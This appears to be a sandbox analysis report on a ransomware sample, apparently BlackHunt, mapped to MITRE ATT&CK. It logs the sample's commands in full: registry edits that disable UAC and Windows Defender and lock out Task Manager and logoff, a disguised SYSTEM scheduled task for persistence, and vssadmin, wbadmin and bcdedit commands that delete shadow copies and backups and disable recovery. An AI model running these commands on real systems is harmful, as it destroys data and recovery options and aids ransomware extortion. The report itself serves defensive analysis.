Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
"C:\Users\Admin\AppData\Local\Temp\9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:2600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:5016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:1976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:4572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:1812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:3732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:4304
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:4848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:4540
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:3648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4444
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1388
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4200
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:5376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2416
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:5276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2352
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:5068
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:4508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:5388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:5268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe" /F
  2⤵
  PID:5056
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:5260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2840
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2656
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:6052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4208
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1824
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2356
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4796
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4640
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3360
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4880
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:5092
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5772

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5464

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6080

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5244

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:3988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery